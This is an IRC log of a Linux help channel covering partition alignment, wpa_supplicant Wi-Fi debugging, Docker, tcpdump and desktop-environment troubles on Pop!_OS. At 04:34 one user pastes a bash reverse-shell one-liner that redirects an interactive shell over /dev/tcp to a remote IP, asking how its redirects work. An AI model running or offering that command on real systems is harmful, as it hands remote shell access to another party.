02:58 < afk4life> hey guys; i installed lubuntu in my system but im having issues with folder premissions; you see; ive been trying to develop wordpress plugins on linux but i keep encountering these issues with folder premission requirements; i thought i had resolved it but now the sub-directories do not got the proper permissions set; what would be the best command to use so i don't have these issues with
02:58 < afk4life> directories anymore?
02:58 < lessthan0> I don't think this debian install media has a live
02:59 < lessthan0> I have shell and all the disk utils so should be fine
02:59 < [R]> afk4life: chown and chmod
02:59 < lessthan0> I can do the math to get the sectors per partition /8 with nothing after the decimal .0
03:00 < lessthan0> since 4096 / 8 = 512
03:00 < afk4life> okay [R] thanks
03:01 < triceratux> lessthan0: the debian xfce liveisos for jessie & stretch both do not have gparted. if youre going to do recovery, youll want to bring another cd
03:01 < lessthan0> I have parted and fdisk
03:01 < lessthan0> it is just a matter of learning how to do it
03:01 < lessthan0> I can backup the table to the usb that I booted from
03:02 < [R]> well you could NOT learn how to use it, and just do random t hings till you break somethign
03:02 < triceratux> we did the grml to gparted shuffle in here today. it was kinda fun
03:02 < lessthan0> well if that is the worst thing that could happen I just redo it from the installer
03:02 < lessthan0> I only have one usb and I don't feel like dd it everytime to switch distros
03:03 < lessthan0> and I enjoy learning this stuff
03:03 < lessthan0> if I mess up I just install again and try again. there is really no penalty for breaking it.
03:04 < lessthan0> sda2 starts at sector 501758
03:04 < lessthan0> it should be 501752 to be 4K aligned
03:04 < lessthan0> since 501752/8 = 62719.0
03:05 < lessthan0> 501758/8 = 62719.75 <-----this is bad
03:05 < lessthan0> so I got this far
03:06 < lessthan0> take me by the hand and show me the way please and thank you
03:06 < lessthan0> read all the man pages
03:06 < lessthan0> blogs
03:06 < lessthan0> videos
03:06 < birdbolt1> using groupadd and useradd, can I name them whatever I want?
03:07 < birdbolt1> I am looking into adding users in my docker container so processes dont run as nginx
03:07 < birdbolt1> as root,  i mean
03:07 < monty86> anyne a opensuse maintainer?
03:07 < [R]> yes, you can amke groups and users whatever you want
03:09 < pnbeast> birdbolt1, make your own life easy and use simple, short names consisting of the letters [a..z].
03:09 < triceratux> monty86: nope. sitting here on this weeks tumbleweed. just an end user
03:09 < locrian9_> [R]: Maybe it was this kernel commit https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d8a332730e757129e70675679f2b2a03f1ecf65e. It seems pretty difficult to find where the kernel broke this vbox compatibility with Qt.
03:09 < [R]> locrian9_: that sounds unfortunate
03:10 < birdbolt1> pnbeast, yes yes yes, i was wondering why the hell the snippets I was seeing online were using damn numbers. I was about to add a file in my repo to describe what each number(user) would be capable of smh
03:10 < locrian9_> [R]: Guess I can be glad that 4.17.4 fixes this.
03:10 < [R]> probably
03:14 < monty86> there is a problematic package in opensuse tumbleweed, the spec file just needs to be updated
03:14 < monty86> flamerobin is the package
03:15 < [R]> so file a bug report...
03:15 < pnbeast> flamerobin is so needed.  I would love to set some of those chirping bastards on fire.
03:16 < supernov1h> Anyone familiar with wpa_supplicant and connecting to a wpa/2 wifi?>
03:16 < ziggylazer> So what are you trying to do?
03:17 < ziggylazer> using aircrack?
03:17 < jim> supernov1h, kinda... what dist are you running?
03:18 < supernov1h> T2
03:18 < phogg> supernov1h: Probably several of us are. What's the problem?
03:18 < [R]> phogg: lies!
03:18 < jim> I never heard of that one... what's it based on?
03:19 < [R]> the terminator?
03:19  * phogg makes [R] a '"What's the problem?" is a lie' t-shirt
03:20 < triceratux> https://distrowatch.com/table.php?distribution=t2
03:21 < phogg> KMail is actually quite impressive on resource consumption for my very-large mailbox, compared to thunderbird.
03:22 < [R]> is it... a YUGE mailbox?
03:23 < phogg> it's an import of my gmail account, which includes some mailing list traffic (also I don't delete things)
03:23 < phogg> so... a few gigs of mail
03:24 < supernov1h> phogg, jim, trying to connect to a wpa/2 wifi, it doesn't connect to it - I have this series of outputs from ifup/down -v and my /etc/network/interfaces and wpa_supplicant.conf are in here https://pastebin.com/P9SuRyG8
03:24 < supernov1h> minus the ssid/pw ofc
03:25 < jim> supernov1h, well let's see... could you do: ls /sys/class/net and tell us what it says?
03:27 < supernov1h> can0 can1 lo ppp0 usb0 wlan17
03:28 < pnbeast> are3 you8 speaking2 english7?
03:28 < phogg> supernov1h: first things first: what is in your wpa_supplicant.conf file? Pastebin it for us.
03:28 < phogg> oh, I see
03:28 < supernov1h> its on that link
03:28 < jim> ok, looks like your wireless driver is present... could you try: iwlist scan and do you get lots and lots of output that list your neighbor's nets?
03:29 < supernov1h> yea it sees the network
03:29 < lessthan0> I think I figured this out with the 4K align using fdisk
03:30 < ziggylazer> This is funny
03:30 < jim> ok, so the card's radio is working :) phogg, go for it :)
03:30 < lessthan0> sda5 is extended and already aligned
03:30 < supernov1h> jim: I feel like I've done ths before and I ended up reaching a point where it wouldn't negotiate wpa2 properly or something
03:30 < phogg> supernov1h: why both CCMP and TKIP?
03:30 < lessthan0> all I need to do is delete sda2 and delete sda5 and create sda2 the exact sector where sda5 was
03:30 < FightingFalcon> Should you include a "." (full-stop) after a dns record? Like "example.com.    IN A 133.41.23.12"
03:30 < supernov1h> phogg: I was just reading a guide, never gotten the wifi to work
03:31 < lessthan0> it is aligned and I don't need to shift the file system left or right
03:31 < [R]> FightingFalcon: you should use whatever format your software requires
03:31 < jim> supernov1h, yeah, I just like to verify that the hardware is basically working, which it seems to be
03:31 < phogg> supernov1h: in my experience having more than one thing in group= and pairwise= only adds complication. If you don't *need* it stick with TKIP only.
03:31 < Eryn_1983_FL> hi peeps how do i adjust the brightness on my netbook if the keys on the keyboard do not work
03:32 < pnbeast> Eryn_1983_FL, unplug it?
03:32 < Eryn_1983_FL> lol
03:33 < jim> phogg, I don't really know the actual nitty gritty of how wpa-supplicant works, so I think you'd be better for that part
03:33 < supernov1h> I can see in my bash history that I was messing around with the permissions on the wpa_supplicant file, iirc there were issues applying the routes correctly, they are definitely valid servers though
03:34 < jim> if he has ifup/ifdown, maybe he has /etc/network/interfaces...
03:34 < phogg> jim: everything I know comes from a decade ago where I spent several days gnashing my teeth and setting up my home wireless environment with wpa_supplicant and a dumb WAP. I got really good at troubleshooting it (and having group=TKIP CCMP was literally one of the things I did wrong that made it never work)
03:34 < Eryn_1983_FL> ii think i found some ways
03:35 < phogg> supernov1h: I recommend running wpa_cli and stepping through every single connect step manually one at a time. Make it work there first, then worry about automating it with interfaces and ifup/ifdown
03:35 < jim> phogg, that's exactly what it takes... soeeone who;s been through it
03:36 < phogg> supernov1h: also another pro tip: stop wpa_supplicant and re-start it manually with -ddd for maximum debug output in syslog. This can really help finding exactly where it's getting stuck.
03:36 < supernov1h> phogg, jim ok i'll see if that's available
03:37 < phogg> note that some errors are only printed to stderr, though, and not the log. Or they were a decade ago.
03:38 < lessthan0> I get a warning after editing my partitions in fdisk. Partition #2 contains a LVM2_member signature. do you want to remove the signature? y/n
03:39 < lessthan0> I want to leave the LVM un touched
03:39 < phogg> lessthan0: then say n
03:39 < Dan39> lessthan0: well then answer n -_-
03:39 < lessthan0> I was not sure if it would abort all the writes to the table
03:39 < Dan39> no
03:40 < phogg> Even if it would, would you prefer that it trashed your LVM?
03:40 < lessthan0> good point
03:40 < phogg> Given two options if one of them is unacceptable *pick the other one*. Easy choice.
03:40 < lessthan0> ok that was just pretend because I q before I w
03:40 < lessthan0> so gotta do it for real this time
03:41  * phogg crosses some extra fingers for you
03:41 < lessthan0> is the LVM signature a hash of the table?
03:41 < ayecee> when you elimated all the unacceptable choices, you're left with the merely unpalatable choices.
03:41 < ayecee> eliminate. man.
03:41 < [R]> ayecee: you want him to eat the answers?
03:41  * pnbeast summons the St. Bernard so he can snort a pint of brandy, chilled with anticipation.
03:41 < Dan39> i use to be that way too :P so nervous editting partitions, now i just do it haphazardly :P
03:42 < phogg> I elimated once. Didn't agree with me. Had to give it up.
03:43 < Dan39> as long as you have a print out of the original setup still in your scrollback, you're good. if you're super nervous then make a backup of the partition table first
03:43 < Oddity> henlo
03:43 < supernov1h> phogg: I think it's failing dhcp actually...
03:43 < Dan39> nelho!
03:43 < supernov1h> no response to discovery
03:44 < FightingFalcon> subdomain.example.com   IN A 76.18.971.23 >>>>>>>>> is this correct to create a subdomain?
03:44 < phogg> supernov1h: That would be really nice. If you can confirm WAP association in wpa_cli then you can be sure that's it.
03:45 < phogg> FightingFalcon: for bind? You might not need .example.com, depending on your origin
03:45 < [R]> phogg: you have no origin
03:45 < phogg> and you don't need to say IN for extra records
03:45 < pnbeast> FightingFalcon, let's pretend you are on topic, here.  Given that, we'd still need to know *what you're using* as a DNS server to answer your questions.
03:46 < phogg> FightingFalcon: technically I should also ask which *version* of your DNS server you are using
03:46 < lessthan0> it worked!
03:46  * phogg uncrosses fingers
03:46 < phogg> of course it worked
03:46 < pnbeast> phogg, there's no sarcasm here.  We covered that an hour or two ago.
03:46 < lessthan0> removed an extended partition and made a primary partition without breaking LVM or anything else
03:46 < [R]> pnbeast: you can't just guess!?
03:47 < pnbeast> You, too, [R].
03:47 < lessthan0> 4k aligned
03:47  * [R] gives lessthan0 a gold star
03:47 < phogg> a 4karet gold star, just for symmetry
03:47 < FightingFalcon> phogg i dont know. i use Hetzner DNS dashboard
03:47 < lessthan0> it is a good thing the LVM does not have hashes of the partition table in the LVM signature
03:48 < jim> goldstar monitors were horrible
03:48 < phogg> FightingFalcon: Sounds like a commercial product. Contact the company's support.
03:48 < pnbeast> Well, there you have it, folks!  It's the omnipresent Hetzner DNS dashboard!  It's almost got the ubiquity of the '48 Nash dashboard!
03:48 < Dan39> lessthan0: does anything actually do that? o_O
03:49 < lessthan0> game consoles will hash everything with everything with the keys with more keys
03:49 < phogg> pnbeast: Sorry, does that actually mean something to you? I assume it must since we've established that there is no sarcasm here.
03:49 < phogg> lessthan0: game consoles are made by paranoid assholes
03:49 < xtristan> newbie question: i have a linux box that gives a bunch of containers access to network services via a bridge.  how do i list all the ports in use?  they're not showing via the netstat command i'd expect.  lsof is taking > 5 minutes to return output. i've been searching the internet but apparently my search terms are not in the right neighborhood
03:49 < pnbeast> I'm sorry.  All the rum I've had this evening has begun to color my typing.
03:49 < lessthan0> and hide bootloaders in protected nand with secondary processing unit to interface the secure nand
03:49 < phogg> that said the PS1 copy protection scheme is delightful and novel
03:50 < ThePortWhisperer> hello
03:51 < jim> hi
03:51 < xtristan> o/
03:51 < lessthan0> right on time
03:51 < ThePortWhisperer> if i want tcpdump to only capture icmp traffic from a host, how do i write that out
03:51 < ThePortWhisperer> getting some syntax errors
03:51 < xtristan> tcpdump icmp and host 1.2.3.4
03:51 < ThePortWhisperer> hm
03:52 < ThePortWhisperer> didnt know about that and. thx
03:52 < xtristan> nw
03:52 < supernov1h> phogg: scan in wpa_cli doesn't yield anything to scan_results, is that normal?
03:53 < jim> ThePortWhisperer, please spell out thx as thanks, it helps newer english speakers if they only see english words
03:53 < xtristan> supernov1h: sudo ?
03:53 < xtristan> jim: by extension, i should type "no worries?"
03:54 < jim> xtristan, yes please :)
03:54 < ziggylazer> For the same reasons, yes :)
03:54 < xtristan> will do, my apologies.
03:54 < jim> no problem :)
03:55 < birdbolt1> can i get system time from an environment variable?
03:55 < xtristan> if you put it there repeatedly, birdbolt1
03:55 < supernov1h> phogg: heh yup
03:56 < lessthan0> would you do that with cron?
03:56 < birdbolt1> xtristan, oof, thats not gonna work  :(  I'm trying to figure out a workaround for docker
03:56 < xtristan> birdbolt1: use ntp?
03:56 < jim> birdbolt1, I don't think so... but, NTP is a protocol that syncs your system time with others, usually they'ver synced with an atomic clock
03:56 < birdbolt1> xtristan, not sure how i would do that
03:57 < birdbolt1> I only need seconds worth of difference
03:57 < xtristan> birdbolt1: what are you trying to accomplish? using an envvar is a silly way to go about it
03:57 < birdbolt1> my goal  is to bust the cache so at a certain step, the container rebuilds every time
03:58 < xtristan> birdbolt1: why not stat or otherwise get the date of the created file?
03:58 < birdbolt1> Its using old files in a shared volume, and I want it to rebuild from that step every single time sothe container launches with the updated file
03:58 < birdbolt1> xtristan, I'm using a dockerfile, and the only dynamic attribute im aware of in it is env vars
03:59 < birdbolt1> ugh i meant docker-compose file
03:59 < xtristan> you can call arbitrary commands using RUN, where the follow up tokens can be a shell script.
03:59 < birdbolt1> oohh wow im dumb
03:59 < xtristan> no you're not.
03:59 < birdbolt1> shoulvde done that from start thank you!
04:00 < xtristan> no problem at all.
04:00 < Psi-Jack> Mmmm.. My Ceph cluster has been rebalanced. Finally. :)
04:02 < supernov1h> phogg: interface_list gives no results now
04:02 < xtristan> Is there a better channel for asking about linux networking internals?  I don't want to repeat myself and be annoying if this isn't the right place to ask
04:03 < Sitri> xtristan: ss -lntp | cat
04:03 < Sitri> (the pipe into cat actually does something)
04:06 < Sitri> Err, not with -lntp though, that's just a habit of mine :/
04:06 < xtristan> Sitri: thanks, but that's still missing connections that i believe would be in TIME_WAIT.  i had tried ss -lntap state time-wait and netstat -nap
04:07 < xtristan> if this is authoritatively correct, it might be google networking magic
04:07 < ziggylazer> Just know that the NTP number that tells how many jumps from a "clock" is arbitrary and can be changed. Can cause problems in large networks for example
04:10 < Loshki> xtristan: hard to say until we see the questions
04:12 < Sitri> Manpage suggests that ss should list the time-wait sockets
04:13 < Sitri> Also lsof is pretty much always slow
04:13 < xtristan> Loshki, Sitri : Oh, finally found the entry in proc that shows the connections I want to find-- /proc/net/nf_conntrack .  I assume that I can ask netfilter for this, but these would have to use an IP address given to an interface on the linux server, so shouldn't I be able to find these some other way?
04:14 < Sitri> ss and the rest of iproute2 uses netfilter
04:14 < Sitri> Otherwise I don't know
04:15 < xtristan> Appreciated all the same.  I think I need to find the magic switches.
04:16 < supernov1h> phogg: this is weird, I can connect to it on my phone, but the linux box says the SSID is different to what my phone says it is
04:16 < supernov1h> one has a suffix of 2.4GHz and my phone presents two SSID's, one with and one without
04:16 < xtristan> cat  /proc/sys/net/ipv4/ip_conntrack_max
04:16 < xtristan> oops, sorry
04:16 < Loshki> xtristan: dunno, try ##networking next if you get no joy here. The stackexchanges are better because they don't depend so much in who happens to be around when you ask
04:17 < [R]> Loshki: you wanna exchange my stack?
04:17 < Loshki> [R]: I wanna wetnork
04:17 < [R]> Loshki: haha
04:18 < monty86> any opensuse package maintainers here?
04:18 < [R]> monty86: they're going to tell you the same thing i told you hours ago
04:18 < xtristan> Loshki: I got a lot of help here.  Thank you
04:27 < okee> I guess I am a cluts, but can't open up a new tab in Firefox with the gnome desktop.  How do you do this with POP!_os?  I can't even search google because of this.  This is a new computer I am not used to.
04:29 < ayecee> klutz*
04:29 < ayecee> also, what is pop!_os
04:29 < [R]> ayecee: some super terrific chinese crapware ripoff of ubunt
04:30 < ayecee> huh
04:30 < ayecee> are you trying to start a browser, or open a new tab in an existing window
04:31 < [R]> and what does not being able to open a tab have to do with using google
04:31 < ayecee> opening a new tab in an existing instance of firefox, hit ctrl-tab
04:31 < ayecee> i think he means that the name pop os is generic enough that it doesn't give any useful results
04:31 < ayecee> but it's unlikely this is a pop os specific problem.
04:32 < ayecee> oh! also because he can't open a browser, maybe
04:32 < ayecee> and has no other computer or phone
04:34 < ThePortWhisperer> anyone able to break down the redirects here to make them more intuitive
04:34 < ThePortWhisperer> ive been having trouble memorizing the syntax
04:34 < ThePortWhisperer> bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
04:34 < lessthan0> okee does ctrl+t work?
04:34 < ayecee> 0>&1 doesn't make sense.
04:34 < okee> ayecee>  I am trying to open a new tab in an existing window. I think I was confused and Thunderbird by default was showing up in the browser instead of a standalone appllication. This is an entirely new computer for me so I am trying to figure out where things are at.
04:35 < okee> I figured out how to open a tab, but now trying to figure out how whether Whatsapp can be used in Ubuntu to send messages to someone via chat.
04:36 < ayecee> making progress
04:42 < BigShip> Hey there, having some difficulty pinning self-signed certificates for Geary. I have p11-kit and glib-networking installed but keep getting the error that says "Couldn't find a place to store the pinned certificate"
04:43 < Psi-Jack> Pinning? You shouldn't be pinning.
04:44 < BigShip> Psi-Jack: That's the error it gives me when I tell it ot "Always trust" the certificate
04:46 < BigShip> I need to Geary to permenantly trust this certificate
04:47 < Psi-Jack> Hmmm.. Odd error.. heh
04:47 < Psi-Jack> Besides. Why self-signed?
04:48 < BigShip> Ah, weird implementation of the desktop bridge for ProtonMail
04:48 < okee> I tried adding the following repository to Pop!_OS, but get an error indicating the repository isn't available https://vpsboard.com/threads/how-to-use-whatsapp-from-your-linux-box.3954/
04:48 < okee> The website indicates there is an Ubutu/Debian edition, so what do I need to do to add this repo?
04:49 < triceratux> run ubuntu or debian
04:49 < MrSleepy> anybody have issues with menus not popping up when you run programs like "startx /usr/bin/<program>" to avoid running in a wm?
04:49 < MrSleepy> I'm getting that in firefox for whatever reason
04:51 < okee> triceratux>  Are you talking to moi?  Pop!_OS is Ubuntu with a label and Karma...
04:51 < triceratux> that sounds highly malintentioned. but its also true the menus are often built by the wm. if you dont run it, there go yer menus
04:51 < triceratux> okee: is that system76 an intel device ?
04:52 < [R]> MrSleepy: some programs dont behave properlly without a wm
04:52 < MrSleepy> triceratux, weirdly enough my menus work fine if I do hexchat by itself
04:52 < MrSleepy> [R], that would make sense
04:52 < okee> triceratux>  Pretty sure it is, but let me double check.  I specifically asked for no AMD.
04:52 < MrSleepy> maybe running two programs like that in two different tty's doesn't help either
04:53 < MrSleepy> I'm gonna close this one to see if that helps
04:54 < triceratux> okee: doesnt sound like youre going to be replacing the OS right away. these are pretty trivial issues & that OS is written for that hardware
04:56 < okee> triceratux>  This is an intel Core i7 8th generation:   2.2 ghz x 12
04:57 < okee> But shouldn't I be able to add the repository for whatsapp?  The whatsapp website indicates it works on both Ubuntu/Debian.
04:57 < triceratux> excellent. id resist the temptation to replace it with stock ubuntu is all im saying
04:58 < okee> I prefer Debian, but would like to use this for awhile before making a final decision.
04:58 < okee> Meant to say I prefer Debian stable that is tweaked.
04:59 < okee> Is there a backports for Ubuntu in the same manner there is for Debian Stable? I am just trying to understand why I can't find the repository.
05:15 < bropro> hey! moderately new to linux. i've installed a program and nothing seems to happen when i run it. how can i troubleshoot this?
05:15 < Trel> What program, and what should it do that it's not?
05:15 < supernov1h> phogg: so I've got it up an running with the SSID it actually sees, rather than the one that doesn't have the 2.4Ghz suffix and that's fine but now pppd is overwriting the default route's gateway to the one it discovered over cellular, even if I flushh and set it manually - it gets reset at some interval
05:16 < toothe> Is there a way to give the $PWD in the PS1 relative to a path? ie, if you're in /usr/src/DIR, it displays the path DIR.
05:16 < toothe> bropro: which progra?
05:16 < bropro> it's the version of NoMachine provided by my university CS labs - I'm trying to remote into the teaching lab accounts
05:16 < toothe> program*
05:16 < toothe> bropro: let me help you when im off this call.
05:18 < okee> Well I installed the gnome tweak tool found here https://github.com/pop-os/pop/issues/64 but nothing has happened.  Do I need to reboot for this to take effect?  I am trying to get a minimize option show up at the top of the browser.
05:19 < bropro> thank you :)
05:19 < locrian9_> When the /var/log/Xorg.0.log shows "(WW) The directory 'usr/share/fonts/Type1/' does not exist.", what file tells Xorg to look in that directory?
05:20 < storge> bropro: do you know the name of the command? generally, if you run something from commandline, you get more helpful error/info output than if you run something from a gui
05:20 < bropro> I don't but I can look for it. Hopefully you can see this page without needing a login - these are the instructions I'm following. https://www.teach.cs.toronto.edu/using_cdf/remote_access_server.html
05:20 < storge> okee: gnome is a desktop environment, not the entire os, so it's unlikely you need to reboot. at most, you might want to log out and log back in
05:21 < okee> This is why I hate gnome https://github.com/pop-os/pop/issues/64
05:21 < okee> At least with KDE and other desktop there isn't as much hassle.
05:21 < okee> gnome is a mess, and I am thinking about taking it off of here.
05:23 < triceratux> id go with lubuntu 18.10 lxqt http://cdimage.ubuntu.com/lubuntu/daily-live/current/
05:23 < storge> bropro: in a terminal, type nom and press tab. if there's a command called nomachine or something like it, it may autocomplete
05:23 < bropro> no luck storge :(
05:24 < storge> bropro: ah, that link is called nxclient, try that name as a command
05:24 < triceratux> okee: you can probably just apt-get install xfce & the loginmanager will magically handle it & thatll solve 75% of yer problems right there
05:24 < storge> bropro: i'm assuming you installed it per instructions
05:25 < bropro> here's what the install folder looks like http://i.imgur.com/tUYaoDb.png (is there a better way to share terminal info ? )
05:25 < [R]> okee: so don't use gnome... problem solved
05:25 < bropro> but typing nxclient in that directory just gives command not found ?_?
05:26 < storge> try ./nxclient
05:27 < bropro> oho that did something
05:27 < bropro> still an error but at least i have info
05:27 < storge> bropro: if there's a gui client, it may pop up, but yes at least you might have things you can copy and paste right from client into google
05:27 < okee> triceratux>  I am thinking about doing xfce, which is what I normally operate in.  It has been quite awhile since I have been on Linux because I was temporarily homeless and my things were in storage.  I just sent an get command for wget http://archive.ubuntu.com/ubuntu/pool/universe/i/iio-sensor-proxy/iio-sensor-proxy_1.1-1_amd64.deb but still don't see the minimize buttons on my browser.  Am I doing something wrong?
05:28 < [R]> who told you running wget on some random file was going to change your ui?
05:29  * triceratux couldnt have said it better
05:29 < okee> [R]> https://askubuntu.com/questions/803608/install-gnome-tweak-tool
05:29 < storge> if you don't want to dedicate the terminal (lock the terminal for use) just to run that, you can background it with" ./nxclient &
05:29 < [R]> rofl
05:30 < bropro> a GUI doesn't pop up but i copy pasted the error into google and found some other people with the same problem
05:30 < bropro> http://www.linuxintro.org/wiki/Nx#no_version_information_available
05:30 < okee> [R]>  I did the get command when nothing occurred after installing with the apt-get command.  I noticed that others had the same problem.  gnome is a mess.
05:30  * [R] gives up
05:31 < okee> Is there any advantage to gnome over xfce that I should be aware of?
05:31 < triceratux> it can be migrated seamlessly to your tablets
05:32 < bropro> this wiki tells me that i should overwrite nxclient's libz with my own but i don't seem to have a libz where it suggests i should
05:36 < okee> I get an error message that xfce can't be found in the repository.  I am going back to Debian, and this is ridiculous.
05:38 < storge> bropro: the instructions might be very distro-specific
05:38 < okee> Can someone help me with a command that works for installing the xfce repository in ubuntu?  I am running Pop!_OS, and I don't like it.  Not sure why System76 didn't just use Debian.  It is a lot easier to use.
05:38 < bropro> I found it in na different folder and am working on moving it ovewr
05:39 < bropro> over*
05:39 < storge> bropro: dont move move, symlink if anything
05:39 < bropro> i was going to use cp
05:39 < bropro> but i will look up symlink
05:39 < okee> I had the name wrong.  It is now installing.
05:40 < okee> I should have used xfce4.
05:40 < storge> okee: look on the bright side
05:42 < [R]> https://itsfoss.com/mac-linux-difference/
05:42 < [R]> holy crap
05:42 < [R]> that "article" was SOOOOOOOOOOOOOOO useless
05:42 < storge> hmm, does xfce need it's own repository in ubuntu?
05:42 < okee> storge>  In installted xfce, but nothing has changed.  Any thoughts on this?  I need a gnome exorcism.
05:43 < bropro> THE CLIENT OPENED
05:44 < bropro> thank you so much for your guidance!!
05:44 < storge> bropro: symlink worked?
05:44 < epicmetal> okee: you have to actually select xfce when logging on
05:45 < okee> epicmetal>  Thanks, I am rebooting.
05:45 < storge> okee: you likely have a display manager (login manager) that takes your creds at login and then fires up the desktop. you may need to select it then
05:45 < storge> this shouldn't need a reboot
05:45 < okee> no?
05:45 < okee> storge>  Then what is the procedure?
05:45 < storge> unless you're switching a kernel, you rarely need to reboot in linux
05:45 < bropro> the zlib version that came with nxclient i was able to found so i just replaced it with the one i had
05:46 < storge> log out, log in, and during login look for an option in your dm to select which desktop environment
05:46 < okee> storge>  How do I access the display manager without logging in?
05:46  * [R] switches out storge's kernel
05:46 < storge> without logging in??
05:47 < storge> what i mean is, at login, you type username and password, but before you press enter, most login managers have a button or menu that let's you select which desktop environment you're logging into
05:47 < storge> without knowing your system and which dm it's running, my info is necessarily vague
05:47  * storge updated [R]'s grub, good and hard
05:48 < [R]> giggity
05:48 < okee> storge> am running Pop!_OS which is Ubuntu with a label.
05:48 < storge> anyone know what ubuntu/pop uses as a login manager?
05:48 < storge> i don't
05:48 < okee> I will reboot, or at least just log off and see what is available.
05:49 < storge> okee: you may just look up how to access the desktop selection in whatever your login thingy is
05:49 < storge> reboot can't hurt, just might be unecessary, good luck
05:49 < storge> Pop!_OS  what the hell kinda name is that
05:50 < okee> storge>  How do I figure out what my display manager is?
05:51 < storge> one way is to run something like pstree -p in a terminal, and scroll up to see where the graphical session starts, and what starts it. you can us 'ps' in a similar way, example: ps faux
05:51 < epicmetal> I've had gdm needing to be restarted to see new sessions
05:52 < epicmetal> Or was that new users... maybe both
05:52 < storge> epicmetal: ah, see i didn't know that. but i don't know what Pop!_OS uses for a dm so i wouldn't know what to tell him for a service to restart.
05:52 < epicmetal> It'll be gdm or lightdm, I'd say
05:52 < epicmetal> But who knows
05:52 < storge> likely, since it's a gnome desktop
05:53 < epicmetal> Reboot is often easier for a workstation
05:53 < epicmetal> Why care about uptime
05:53 < storge> yeah go for it, reboot
05:53 < storge> else we take a quick lesson down service restart lane
05:53 < okee> The information on System76's website suggest I should no install xfce but Xubuntu instead https://support.system76.com/articles/desktop-environment/
05:53 < storge> xubuntu is ubuntu with xfce default. xfce is just the desktop environment
05:54 < storge> so if you're rather reinstall the whole os, xubuntu may end up being easier
05:54 < storge> but if you want it sooner/faster, installing xfce4 and logging into might be faster
05:54 < bropro> I successfully logged into into the machine at my university :D :D
05:54 < storge> i have no idea what sort of weirdness POp_OS might have going on, xubuntu might be easier in the long run
05:55 < bropro> thank you again!
05:55 < storge> bropro: cool!
05:55  * storge marks this one [SOLVED]
05:55 < triceratux> okee: excellent article. never hurts to read the doc ;)
05:56 < okee> When time permits I will likely explore moving to LXCE since it can save battery life; also runs about 30% faster not that I need the speed; this laptop is blazing fast. la
05:56 < storge> okee: still, snappiness is godliness
05:56 < PowerPCMAC> This cracks me up https://hooktube.com/watch?v=yJIydD7ULz8
05:56 < storge> LOL
05:57 < epicmetal> PowerPCMAC: dude, this is a family friendly channel
05:57 < toothe> bropro: did you get your question answered?
05:57 < toothe> sorry, it was a long call.
05:57 < PowerPCMAC> sorry
05:58 < bropro> yes i did toothe . no worries :)
05:59 < okee> OK, Xubuntu is installed with gmdu display manager (spelling), but not sure how to even log off of this beast.
06:01 < okee> Anyone know where the log off command is on gnome?
06:02 < storge> [R]: that article was poop from a dog's butt
06:02 < [R]> lol
06:02 < storge> hey, want some topical information that doesn't really tell you anything? click this link!
06:03 < okee> storge>  thank you
06:03 < storge> okee: for? did i actually help with such vaguery? cool if so.
06:03 < okee> How do I log off gnome?  What a horribly designed desktop.
06:04 < storge> uhm
06:04 < storge> like a power-button looking thing?
06:04 < storge> i haven't used gnome since 2005 or so
06:04 < triceratux> okee: if its any consolation youre having a textbook reaction to gnome rofl
06:04 < triceratux> cmon guys someone google how to logout of gnome
06:05 < storge> here let me google that
06:06 < storge> wow, you know its bad when the answers for that are long and wordy
06:06  * triceratux genuinely never uses gnome & has no clue
06:06 < triceratux> rofl
06:06 < pnbeast> [R], I read that article and I feel enlightened.  It was a refreshing combination of technological detail and an insightful dive into the politics and people surrounding the two operating systems.  Would read again!  Best EVAR.  Or what storge said.
06:06 < [R]> HAHA
06:07 < storge> Type "logout" without quotes from the terminal.
06:07 < storge> Click the power icon on the top right of the screen, then your name. Click "Log Out."
06:07 < storge> ^ circa 6 years ago, hope it works
06:07 < triceratux> storge: hes already rebooted
06:07 < storge> ah
06:07 < storge> good thing i wasted seconds of precious life googling that
06:07 < storge> pnbeast: +1
06:07 < storge> pnbeast: upvote it!
06:08 < toothe> Is there a way to, if I am in a certain path, have my PS1 variable be off-set from that path.
06:08 < storge> we need more infotainment
06:08 < toothe> So, if I'm in any place, it'll display the full path
06:08 < toothe> but if I'm in /usr/src/DIR/PATH, it'll just display DIR/PATH ?
06:10 < LissajousPattern> my neighbor's cat's name is Tux
06:10 < storge> my cat can eat a whole watermelon
06:10 < [R]> toothe: you can put code in $PROMPT_COMMAND
06:10 < superkuh> My cat can push a watermelon out of a lake.
06:10 < LissajousPattern> wow!
06:10 < toothe> [R]: yeah...darn.
06:11 < toothe> [R]: That requires me to do work.
06:11 < LissajousPattern> thats one hell of a feline
06:11 < storge> https://www.youtube.com/watch?v=qPCij5YWGSc
06:11 < [R]> toothe: that sounds unfortunate...
06:11 < toothe> [R]: Yes. Linux should have custom tailored itself around my unique needs by now.
06:11 < toothe> Its 2018.
06:12 < Toadisattva> only googles computes can read thoughts at the moment give it 5 years
06:12 < Toadisattva> :P
06:15 < Triffid_Hunter> Jim: how'd you go with dup2'ing your socket?
06:18 < triceratux> Okee: ah they dont even do an ARM image & they have tons of doc https://support.system76.com/
06:19 < storge> well why would system76 have an arm image when they don't sell an arm product (at least i don't think they do)
06:20 < [R]> storge: super... terrific... chinese... crapware...
06:20 < storge> oh look they do https://www.cnx-software.com/2017/03/03/system76-starling-pro-arm-server-powered-by-2-cavium-thunderx-64-bit-processors-sells-for-6400-and-up/
06:20 < triceratux> my mistake. havent been following them that closely. seems like everybody is doing what they can with ARM
06:20 < storge> [R]: system76 is chinese?
06:21 < jim> Triffid_Hunter, hi... I just wanted to find out about it in general... I don't have a project that has sockets that I directly control, use or manipulate
06:21 < [R]> storge: they resell cheap chinese crap
06:21 < storge> [R]: but they charge so much! that would be unethical
06:21 < [R]> HHAA
06:22 < storge> ;)
06:22 < jim> horendously hinky amorphous actions?
06:22 < [R]> and then they take ubuntu, put a shiny sticker on it, and act like they've invented gold
06:24 < [R]> Pop!_OS provides full disk encryption by default as well as streamlined window management, workspaces, and keyboard shortcuts for navigation.
06:24 < [R]> sounds like every other linux dist...
06:24 < storge> ooooh, keyboard shortcuts
06:24 < storge> and streamlines, i need to get me more of that streamlining
06:25 < okee> test test
06:25 < storge> okee: passed
06:26 < okee> I am having a terrible time trying to get to a menu that allow change the desktop environment.
06:26 < triceratux> what happened ? have you dispatched the evil gnome ?
06:26 < okee> So how do I reboot with Ubuntu gnome?
06:27 < storge> okee: sudo shutdown -r now
06:27 < storge> that's probably easiest at this point
06:27 < storge> well, since it's ubuntu, who knows, maybe sudo reboot or something
